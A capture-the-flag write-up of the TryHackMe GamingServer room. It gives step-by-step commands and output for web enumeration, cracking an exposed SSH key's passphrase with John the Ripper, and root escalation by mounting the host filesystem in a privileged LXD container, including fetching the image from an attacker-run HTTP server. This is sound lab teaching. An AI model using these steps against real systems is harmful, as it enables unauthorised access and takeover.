> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# TryHackMe GamingServer Writeup: SSH Key Cracking & LXD Privilege Escalation
- URL: https://taiwanding.com/en/tryhackme-gamingserver-writeup/
- Published: 2025-10-17T07:56:44.000Z
- Updated: 2026-07-15T02:50:01.000Z
- Author: Kevin Chen
- Tags: #en, #en-ctf

## Challenge Info

- **Platform**: TryHackMe
- **Room name**: GamingServer
- **Difficulty**: Easy
- **Goal**: Grab the User Flag and the Root Flag
- **Room link**: [https://tryhackme.com/room/gamingserver](https://tryhackme.com/room/gamingserver?ref=taiwanding.com)

## Reconnaissance

### Nmap Scan

```bash
nmap -Pn -sV -sC -p 22,80 10.201.41.104 -T4

```

**Scan results:**

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 34:0e:fe:06:12:67:3e:a4:eb:ab:7a:c4:81:6d:fe:a9 (RSA)
|   256 49:61:1e:f4:52:6e:7b:29:98:db:30:2d:16:ed:f4:8b (ECDSA)
|_  256 b8:60:c4:5b:b7:b2:d0:23:a0:c7:56:59:5c:63:1e:c4 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: House of danak
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

```

**Key takeaways:**

- The HTTP service title is "House of danak"
- SSH service OpenSSH 7.6p1
- Ubuntu system
- Apache 2.4.29

### Step 1: Web Enumeration - Finding the Hacker Manifesto

Visit the site and follow the links.

```bash
curl http://10.201.41.104/uploads

```

**Page content:** we find the classic *The Hacker Manifesto*:

```
                     The Hacker Manifesto
                              by
                        +++The Mentor+++
                    Written January 8, 1986

Another one got caught today, it's all over the papers...
[full text omitted]
I am a hacker, and this is my manifesto...

```

**Back on the homepage we spot a key clue - an HTML comment:**

```html
<!-- john, please add some actual content to the site! lorem ipsum is horrible to look at. -->

```

✅ **First clue obtained: username = "john"**

### Step 2: Directory Enumeration - Finding Key Files

Scan with Gobuster.

```bash
gobuster dir -u http://10.201.41.104/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 40
```

**Files discovered:**

1. **An encrypted SSH private key**

Download the key file.

```bash
# Download the SSH private key
wget http://10.201.41.104/[path]/id_rsa

```

### Step 3: Analyzing the SSH Private Key

Inspect the private key.

```bash
cat id_rsa

```

**Key contents:**

```
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,82823EE792E75948EE2DE731AF1A0547

T7+F+3ilm5FcFZx24mnrugMY455vI461ziMb4NYk9YJV5uwcrx4QflP2Q2Vk8phx
H4P+PLb79nCc0SrBOPBlB0V3pjLJbf2hKbZazFLtq4FjZq66aLLIr2dRw74MzHSM
...
-----END RSA PRIVATE KEY-----

```

**The important bits:**

```
Proc-Type: 4,ENCRYPTED          # the private key is encrypted
DEK-Info: AES-128-CBC           # encrypted with AES-128-CBC

```

✅ **This is a password-protected RSA private key!**

### Step 4: Cracking the SSH Private Key Passphrase

Convert the format with ssh2john.

```bash
# Convert the SSH private key into a format John can read
ssh2john id_rsa > id_rsa.hash

```

Crack it with John the Ripper.  
**Option 1: use rockyou.txt (recommended)**

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash

```

**Cracking output:**

```
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
letmein          (id_rsa)
1g 0:00:00:00 DONE (2025-10-17 15:16) 25.00g/s 14400p/s 14400c/s 14400C/s
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

```

✅ **SSH private key passphrase: letmein**

**Option 2: use a custom wordlist (alternative) — you can find this custom wordlist under the /uploads** path.

```bash
john --wordlist=dict.lst.txt id_rsa.hash

```

### Step 5: SSH Login to Grab the User Flag

Put the credentials together.

What we know:

- **Username**: john (from the HTML comment)
- **SSH private key**: decrypted
- **Key passphrase**: letmein

### SSH Login

```bash
ssh -i id_rsa_decrypted john@10.201.41.104

```

**Logged in!**

### User Flag

```bash
john@exploitable:~$ ls
user.txt

john@exploitable:~$ cat user.txt
Redacted

```

### Step 7: Enumeration - Finding a Privilege Escalation Path

Check the user's privileges.

```bash
john@exploitable:~$ id
uid=1000(john) gid=1000(john) groups=1000(john),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)

```

✅ **Key finding: the user is in the `lxd` group!**

Check sudo privileges.

```bash
john@exploitable:~$ sudo -l
[sudo] password for john:
# Tried letmein, john, etc. — all failed

```

**sudo is a dead end, but LXD group membership gives us another route to escalate!**

### Step 8: LXD Privilege Escalation

How LXD privesc works.  
**What is LXD?**

- LXD is a Linux container management tool (similar to Docker)
- Members of the `lxd` group can create and manage containers
- The key point: you can create a **privileged container** and mount the host filesystem

**Attack flow:**

```
1. Create a privileged container (security.privileged=true)
2. Mount the host root directory into the container
3. Access host files as root from inside the container
4. Read /root/root.txt

```

### Check the LXD State

```bash
john@exploitable:~$ lxc list
+------+-------+------+------+------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+------+-------+------+------+------+-----------+

john@exploitable:~$ lxc image list
+-------+-------------+--------+-------------+------+------+-------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCH | SIZE | UPLOAD DATE |
+-------+-------------+--------+-------------+------+------+-------------+

```

**Observation:** there's no ready-made image, so we need to import one.

### Step 9: Prepare an Alpine Linux Image

Build the image on the Kali machine — note this step happens on your local machine, not on the target box!

```bash
# 1. Clone the build tool
cd ~
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder

# 2. Build the Alpine Linux image
sudo ./build-alpine

# 3. Check the generated file
ls -lh *.tar.gz

```

**Output:**

```
-rw-r--r-- 1 IronStrongHacker IronStrongHacker 3.2M Oct 17 15:32 alpine-v3.13-x86_64-20210218_0139.tar.gz
-rw-r--r-- 1 root             root             3.9M Oct 17 15:33 alpine-v3.22-x86_64-20251017_1533.tar.gz

```

✅ **Pick the smaller build: alpine-v3.13-x86\_64-20210218\_0139.tar.gz**

### Step 10: Transfer the Image to the Target Machine

Working in Windows PowerShell.

```powershell
# 1. Copy the file into a Windows directory
mkdir C:\temp
copy \\wsl$\Ubuntu\home\IronStrongHacker\lxd-alpine-builder\alpine-v3.13-x86_64-20210218_0139.tar.gz C:\temp\

# 2. Enter the directory
cd C:\temp

# 3. Confirm the file is there
dir *.tar.gz

# 4. Start a Python HTTP server
python -m http.server 8000
# Keep this window open!

```

### Download it on the Target Machine

```bash
# Switch to a temp directory
cd /tmp

# Download the image (replace with your IP: 10.13.90.144)
wget http://10.13.90.144:8000/alpine-v3.13-x86_64-20210218_0139.tar.gz

# Verify the download
ls -lh alpine*.tar.gz

```

### Step 11: Executing the LXD Privesc

Import the image.

```bash
# Import the Alpine image
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias alpine

# Confirm the import succeeded
lxc image list

```

**Output:**

```
+--------+-------------+--------+-------------+--------+--------+-------------+
| ALIAS  | FINGERPRINT | PUBLIC | DESCRIPTION | ARCH   | SIZE   | UPLOAD DATE |
+--------+-------------+--------+-------------+--------+--------+-------------+
| alpine | [hash]      | no     |             | x86_64 | 3.20MB | Oct 17 2025 |
+--------+-------------+--------+-------------+--------+--------+-------------+

```

Create and configure a privileged container.

```bash
# 1. Initialize the container (privileged mode)
lxc init alpine privesc -c security.privileged=true

# 2. Mount the host root directory to /mnt/root inside the container
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

# 3. Start the container
lxc start privesc

# 4. Enter the container
lxc exec privesc /bin/sh

```

Confirm the privesc worked.

```bash
~ # whoami
root

~ # id
uid=0(root) gid=0(root)

```

✅ **Root privileges obtained!**

### Step 12: Grab the Root Flag

Understand the filesystem layout.

**Important concept:**

- We're currently **inside the container**
- The container's `/root` \= the container's own root home (empty)
- The host filesystem is mounted at `/mnt/root`

The wrong move (a common beginner mistake).

```bash
~ # ls /root
# Empty!

~ # cat /root/root.txt
cat: can't open '/root/root.txt': No such file or directory

```

The correct path.

```bash
# Switch to the host filesystem
~ # cd /mnt/root/

# List the host root directory
/mnt/root # ls
bin    dev   initrd.img  lib64       mnt   root  srv  usr
boot   etc   lib         lost+found  opt   run   sys  var
cdrom  home  ...

# Enter the host's root home directory
/mnt/root # cd root/

# List files
/mnt/root/root # ls
root.txt

```

Root Flag

```bash
/mnt/root/root # cat root.txt
Redacted

```

## Key Takeaways

### 1\. Cracking SSH Private Keys

**Toolchain:**

```bash
ssh2john       # format conversion
john           # password cracking
openssl rsa    # decrypt the private key

```

**Command flow:**

```bash
# Convert
ssh2john id_rsa > id_rsa.hash

# Crack
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash

# Decrypt
openssl rsa -in id_rsa -out id_rsa_decrypted

```

**Key points:**

- Spot the encryption marker: `Proc-Type: 4,ENCRYPTED`
- Pick a suitable wordlist (rockyou.txt has a high hit rate)
- After decrypting, you must set 600 permissions

### 2\. LXD Privilege Escalation

**Prerequisites:**

- The user is in the `lxd` group
- LXD/LXC is installed on the system

**How to check:**

```bash
id                    # check group membership
lxc --version         # check the LXD version

```

**Breaking down the security parameters:**

```
security.privileged=true    # run the container in privileged mode
source=/                    # host root directory
path=/mnt/root              # mount point inside the container
recursive=true              # recursively mount all subdirectories

```

### 3\. Enumeration Tips

**Analyzing HTML source:**

```bash
# View comments
curl http://target/ | grep -i "<!--"

# Look for suspicious strings
curl http://target/ | grep -iE "user|admin|password|todo|fixme"

```

**Key sources of information:**

- HTML comments (`<!-- -->`)
- JavaScript code
- Error messages
- robots.txt
- Version-control directories like .git and .svn